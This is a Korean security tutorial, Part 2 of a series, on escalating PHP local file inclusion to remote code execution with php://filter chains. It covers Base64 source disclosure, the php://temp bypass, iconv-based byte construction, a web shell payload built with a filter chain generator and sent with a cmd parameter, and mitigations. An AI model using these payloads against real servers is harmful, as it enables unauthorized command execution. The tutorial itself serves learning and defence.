Search

PHP Wrapper, php://filter를 이용한 LFI2RCE 기법: PART 2

Categories
Tags
작성일
2025/02/10
1 more property
목차

PHP 래퍼(php://filter)를 이용한 LFI2RCE

악성코드가 포함된 파일을 업로드하거나 로그 파일을 통해 PHP 코드를 입력하는 방식은 웹 서버의 파일 시스템에 직접적인 접근이 필요하다는 제약이 있습니다. 또한, 웹 서버의 보안 정책이나 설정에 따라 파일 시스템 접근이 제한되어 있을 수 있으며 로그 파일의 위치가 다르거나 접근 권한이 없는 경우도 많습니다.
하지만, PHP 래퍼(php://filter)를 활용하면 파일 시스템 접근 권한이나 로그 파일 위치와 같은 제약 사항에 구애받지 않고 공격을 수행할 수 있습니다.

php://filter 래퍼의 동작 방식

먼저 php://filter 를 이용한 LFI2RCE 공격 원리를 이해하기 위해 LFI 취약점이 발생하는 환경에서 php://filter 가 어떻게 동작 되는지 살펴보겠습니다.

PHP 코드 실행

php://filter 를 사용할 때, 필수 매개변수 resource 를 지정해야 합니다. 이는 필터링하려는 스트림(파일 경로 혹은 입력 스트림)을 지정하는 것인데, PHP 파일 경로를 지정할 경우 해당 PHP 파일이 불러와지고 해당 스트림이 include 에 의해 실행됩니다.
예를 들어, 웹 서버에 앞서 살펴본 LFI 취약점이 있는 index.phpload.php 가 존재합니다.
이 경우 load.php 파일을 index.phpinclude 함수를 이용하여 파일 경로를 직접 입력하지 않고 아래 php://filter 를 사용하여 불러오려면 다음과 같이 resource 매개변수에 load.php 경로를 지정하여 요청하면 됩니다.
?inc=php://filter//resource=load.php
PHP
복사
결과적으로 load.php 에 선언되어 있는 변수 $title 의 값이 <h1> 태그에 감싸여 출력되는 것을 확인할 수 있습니다. 즉, php://filter 를 통해 읽어들여진 load.php 의 스트림이 include 함수에 의해 실행되어 렌더링된 것을 알 수 있습니다.

PHP 소스 코드 유출

하지만 앞서 살펴본 것처럼 PHP 파일 스트림을 직접 include 하면 PHP 코드가 실행되어 렌더링된 결과만 확인할 수 있고 실제 소스 코드는 확인할 수 없습니다. 이러한 문제를 해결하기 위해 php://filter 래퍼의 Base64 인코딩 필터를 사용하면 PHP 코드가 실행되지 않고 소스 코드를 확인할 수 있습니다.
// Base64로 인코딩하여 index.php 소스 코드 유출 ?inc=php://filter/read=convert.base64-encode/resource=index.php
PHP
복사
즉, resource 에 전달된 index.phpconvert.base64-encode 필터에 의해 처리되어 Base64로 인코딩된 문자열이 출력되는 것을 확인할 수 있으며, 이 Base64 문자열을 디코딩하면 index.php의 소스 코드를 확인할 수 있습니다.

존재하지 않는 resource 우회

php://filter 동작 방식을 보면 resource 매개변수로 지정된 스트림을 가져와 필터에 의해 처리되는 과정을 확인할 수 있습니다.
근데 다음과 같이 LFI 취약점이 발생하지만 사용자 입력 값($_GET["inc"])에 문자열(-foo.php)이 자동으로 붙는 경우도 존재할 수 있습니다.
<!-- index.php --> <?php if(isset($_GET["inc"])){ include $_GET["inc"] . "-foo.php"; } ?>
PHP
복사
이 경우 기존과 같이 php://filter//resource=load.php 를 전달할 경우 -FOO.php 가 결합되어 스트림 load.php-FOO.php 를 찾겠지만 해당 파일은 존재하지 않기 때문에 다음과 같이 에러가 발생하게 됩니다.
이를 해결하기 위해서는 -foo.php로 끝나는 파일을 PHP 애플리케이션 서버에 전달하거나 서버에서 해당 파일을 찾아야 합니다. 하지만 더 간단한 방법으로, php://filter 래퍼의 매개변수 resourcephp://temp를 전달하면 됩니다.
php://temp 는 임시 메모리에 데이터를 저장하는 PHP 스트림 래퍼입니다. 또한, php://filter 는 존재하지 않는 스트림을 전달받아도 이를 에러로 처리하지 않습니다. 따라서, PHP 애플리케이션의 구문 include $_GET["inc"] . "-FOO.php"; 에서 URL 파라미터 incphp://filter//resource=php://temp를 전달하면 -FOO.php 와 결합되어 아래 구문으로 완성됩니다.
include "php://filter//resource=php://temp.-FOO.php";
PHP
복사
즉, php://filter 래퍼는 매개변수 resourcephp://temp.-FOO.php가 전달 되더라도 에러를 발생시키지 않고 존재하지 않는 스트림을 정상적으로 처리하기 때문에 에러 없이 동작되는 것을 확인할 수 있습니다.
방금까지 LFI 취약점이 발생하는 PHP 애플리케이션에서의 php://filter 래퍼의 동작 방식에 대해 살펴봤습니다. 다시 정리하면 다음과 같습니다.
1.
include 함수에 직접적인 파일 경로를 지정하지 않고 php://filterresource 를 통해 파일 혹은 스트림을 불러올 수 있다.
2.
필터(e.g. convert.base64-encode)가 존재하면 resource 로 불러온 스트림이 필터에 의해 처리된다.
3.
php://temp 를 활용하면 존재하지 않는 스트림을 우회할 수 있다.
그러나 앞서 살펴본 동작만으로는 PHP 코드를 직접 생성하거나 실행하는 것은 불가능합니다. 그렇기에 RCE 공격을 수행하려면 임의 명령을 실행할 PHP 코드가 필요한데 이는 PHP 필터 체인(PHP Filters Chain)을 활용하면 임의의 PHP 코드를 생성하여 실행할 수 있습니다.

PHP 필터 체인(PHP Filters Chain)

php://filter 래퍼에서는 앞 전에 설명 드렸던 사용이 가능합니다. 이 중 PHP Filters Chain은 convert.iconv.<from>.<to> 를 사용하는데 그 원리는 다음과 같습니다.

convert.iconv.<from>.<to>

변환 필터 중 convert.iconv.<from>.<to> 필터는 문자 인코딩 변환을 수행하는데, 이는 한 문자 인코딩에서 다른 문자 인코딩으로 텍스트를 변환할 수 있습니다. 이 필터를 사용할 때는 <from>에 원본 인코딩을, <to>에 대상 인코딩을 지정하여 변환을 수행합니다.
이러한 인코딩 변환은 데이터가 특정 인코딩 방식으로 해석될 때 예기치 않은 동작을 일으킬 수 있습니다. 특히 일부 문자 인코딩 간의 변환 과정에서 발생하는 불일치나 오류를 활용하여 원하는 문자열을 생성할 수 있습니다. 이러한 특성을 이용하면 여러 인코딩 변환을 연쇄적으로 수행하여 의도한 PHP 코드를 생성할 수 있게 됩니다.
그럼 PHP 코드를 생성하기 위한 그 과정을 살펴보겠습니다.

문자 제거를 위한 base64decode

Base64 인코딩은 문자열 A-Z, a-z, 0-0, +, / (필요한 경우 = 패딩)만을 포함해야 합니다. 이에 Base64의 유효한 문자 집합에 포함되지 않은 문자(e.g. @, #, < 등)가 포함되어 있는 Base64 인코딩 문자열의 경우 Base64 디코딩 시 무시되거나 제거됩니다.
예를들어, base64라는 문자열이 Base64로 인코딩되면 YmFzZTY0가 됩니다. 여기에 특수문자(@, #, <)를 앞에 추가하여 @#<YmFzZTY0로 만든 뒤 Base64로 디코딩하면, 특수문자들이 제거되어 원래의 base64 문자열로 복원됩니다.
php -r 'echo base64_encode("base64") . PHP_EOL;' php -r 'echo base64_decode("YmFzZTY0") . PHP_EOL;' php -r 'echo base64_decode("@#<YmFzZTY0") . PHP_EOL;' echo "@#<YmFzZTY0" > test.txt php -r 'echo file_get_contents("php://filter/convert.base64-decode/resource=test.txt") . PHP_EOL;'
Bash
복사
위 실습에서는 함수 base64_decode 와 PHP 변환 필터 convert.base64-decode 를 사용하여 Base64로 디코딩 했는데, 이 둘은 동작 방식이 매우 비슷하지만 Base64 패딩 문자(=)를 해석하는 방식에 차이가 있습니다.
php -r 'echo base64_decode("YmFz==ZTY0") . PHP_EOL;' php -r 'echo base64_decode("YmFz==ZTY0==") . PHP_EOL;' php -r 'echo base64_decode("@#<YmFzZTY0") . PHP_EOL;' echo "YmFzZTY0==" > test.txt php -r 'echo file_get_contents("php://filter/convert.base64-decode/resource=test.txt") . PHP_EOL;'
Bash
복사
위 로그를 보면 PHP 변환 필터 convert.base64-decode 는 Base64 패딩 문자(=)를 제대로 처리하지 못하는 것을 확인할 수 있습니다.
이를 해결하기 위한 방법으로 UTF-7 인코딩을 사용하면 패딩 문자를 제대로 처리할 수 있습니다. UTF-7은 7비트 ASCII 문자만을 사용하여 유니코드 문자를 인코딩하는 방식으로, Base64와 유사한 인코딩 방식을 사용하지만 패딩 문자를 다르게 처리합니다.
따라서, convert.iconv.UTF8.UTF7 변환 필터를 다음과 같이 추가할 경우 Base64 패딩 문자(=)를 올바르게 처리할 수 있게 됩니다.
php -r 'echo file_get_contents("php://filter/convert.iconv.UTF8.UTF7|convert.base64-decode/resource=test.txt") . PHP_EOL;'
Bash
복사

문자 추가를 위한 BOM(Byte Order Mark)

BOM(Byte Order Mark) 은 유니코드 텍스트 파일의 시작 부분에 있는 특수한 마커입니다.
예를 들어, UTF-16 의 경우 RFC-2781 문서에 따르면 BOM은 바이트 순서를 나타내기 위해 사용되며, 0xFEFF(Big Endian) 또는 0xFFFE(Little Endian) 값을 사용하여 바이트 순서 표시(BOM, Byte Order Mark)를 합니다.
엔디언(Endianness)과 UTF-8, UTF-16, UTF-32
UTF-8 은 가변 길이 인코딩 방식으로, 바이트 단위로 처리되므로 엔디언을 신경 쓸 필요가 없습니다. 즉, Little Endian이든 Big Endian이든 항상 같은 바이트 순서를 유지합니다.
반면에, UTF-16, UTF-32 에서는 각각 2바이트(16비트), 4바이트(32비트) 단위로 데이터를 저장 하므로 엔디언을 고려해야 합니다.
문자
UTF-16 (Big Endian), OxFEFF
UTF-16 (Little Endian), 0xFFFE
A
00 41
41 00
B
00 42
42 00
C
00 43
43 00
D
00 44
44 00
또한, ISO-2022-KR 에서의 BOM 은 한국어 문자 인코딩을 나타내는데, RFC-1577 문서에 따르면 ASCII 문자와 한국어 문자를 구분하기 위해 다음의 방식 사용 합니다.
Escape Sequence (ESC $ ) C)
ESC $ ) C SO 한글 SI
Plain Text
복사
ISO-2022-KR 인코딩에서 한글 문자를 사용할 것임을 미리 선언하는 역할.
한글이 등장하기 전에 메시지의 시작 부분에서 한 번만 등장함.
Shift 코드 (SOSI)
Hi SO(0x0E) 한글 SI(0x0F) ASCII
Plain Text
복사
실제로 ASCII와 한글(KSC 5601) 사이를 전환하는 기능.
SO (0x0E) KSC 5601로 전환 즉, 한글 사용
SI (0x0F) ASCII로 전환 즉, 영어 사용
즉, ISO-2022-KR 로 간주되려면 메시지가 ESC $ ) C 시퀀스로 시작해야 하며 PHP의 iconv 함수를 사용할 때, 7 비트 ISO-2022 코드 중(ISO-2022-KR, ISO-2022-CN, ISO-2022-CN-EXT, ISO-2022-JP, ISO-2022-JP-1, ISO-2022-JP-2) 유일하게 ISO-2022-KR 만이 ASCII 문자(ABCD) 앞에 ESC $ ) C 를 붙입니다.
A(0x41), B(0x42), C(0x43), D(0x44) ESC(0x1B), $(0x24), )(0x29), C(0x43)
$iso_2022_7bits_encodings = array('ISO-2022-KR', 'ISO-2022-CN', 'ISO-2022-CN-EXT', 'ISO-2022-JP', 'ISO-2022-JP', 'ISO-2022-JP-2'); foreach ($iso_2022_7bits_encodings as $elem){ echo "[$elem] : hex ["; echo bin2hex(iconv('UTF8',$elem, 'ABCDE'))."]\n"; }
PHP
복사
이러한 BOM 특성을 이용하면 인코딩 변환 과정을 통해 원하는 문자를 생성할 수 있습니다.

문자 만들기: PHP filter chain generator

원하는 문자를 생성 하려면 BOM특성을 이용하여 다양한 방식의 인코딩 변환을 거쳐야 하고 여기서 생기는 불필요한 문자는 Base64로 인코딩하여 제거해야 하는 등, BruteForce 를 통해 원하는 문자들의 조합을 생성해야 합니다.
또한, 인코딩 대상 문자열이 매 번 변경될 때 마다 다른 결과 값을 반환하는데, 이는 php://temp 스트림을 지정하여 원본 스트림이 항상 빈 값으로 고정되도록 하는 방식으로 무결성이 깨지지 않도록 할 수 있습니다.
이러한 과정을 직접 구현하기에는 복잡할 수 있지만 다행히 공개되어 있는 PHP filter chain generator 도구가 있습니다. 이 도구는 Python으로 작성되었으며, 원하는 문자열을 생성하기 위한 PHP 필터 체인을 자동으로 생성해 줍니다.
예를 들어, 'A’ 라는 문자는 해당 스크립트에서 아래의 필터체인을 통해 만들어집니다.
1.
convert.iconv.UTF8.CSISO2022KR
2.
convert.base64-encode
3.
convert.iconv.UTF8.UTF7
4.
convert.iconv.8859_3.UTF16
5.
convert.iconv.863.SHIFT_JISX0213
6.
convert.base64-decode
7.
convert.base64-encode
8.
convert.iconv.UTF8.UTF7

LFI2RCE using PHP Filters Chain

아래의 LFI 취약점이 존재하는 PHP 애플리케이션에서 RCE를 수행해보겠습니다.
<!-- index.php --> <?php if(isset($_GET["inc"])){ include $_GET["inc"] . "-foo.php"; } ?>
PHP
복사
코드를 살펴보면, URL 파라미터 inc 를 사용자로부터 입력받아 -foo.php 문자열과 결합하고 이를 include 함수로 전달하고 있습니다.
이때, 웹 서버는 직접적인 접근이 불가능 하므로 -foo.php 로 끝나는 PHP 파일 업로드를 통한 RCE 취약점을 불가능합니다. 다만, 앞서 살펴본 PHP 필터 체인 기법을 이용하여 웹 쉘 코드를 생성하고 php://temp 스트림을 지정할 경우 웹 쉘 실행이 가능합니다.

웹 쉘 코드 생성

<?php system($_GET['cmd'])?> 로 구성되어있습니다. 이 코드를 PHP filter chain generator 도구를 사용하여 필터 체인을 생성합니다.
python3 php_filter_chain_generator.py --chain "<?php system(\$_GET['cmd'])?>"
Bash
복사

Exploit

생성된 필터 체인을 URL 파라미터 inc 에 전달하고, 입력할 명령어(id)를 URL 파라미터 cmd 로 전달합니다.
?inc=<필터체인>&cmd=id
Plain Text
복사
그럼 다음과 같이 입력한 명령어의 결과를 확인하실 수 있습니다.

대응 방안

이러한 PHP Wrapper를 이용한 LFI2RCE 취약점을 예방하기 위해서는 다음과 같은 보안 조치가 필요합니다
파일 포함(include) 시 사용자 입력값을 직접 전달하지 않고, 미리 정의된 화이트리스트를 사용하여 허용된 파일만 포함하도록 합니다.
입력값 검증 시 PHP 스트림 래퍼(php://, file://, phar:// 등)를 차단하는 필터링을 구현합니다.
그 외 RCE 공격을 방어하기 위해 php.ini 에서 다음의 설정을 지정합니다.
allow_url_includeallow_url_fopen 를 비활성화하여 원격 파일 접근을 제한
dsiable_functions 에 위험한 함수(system, shell_exec, exec 등) 차단

References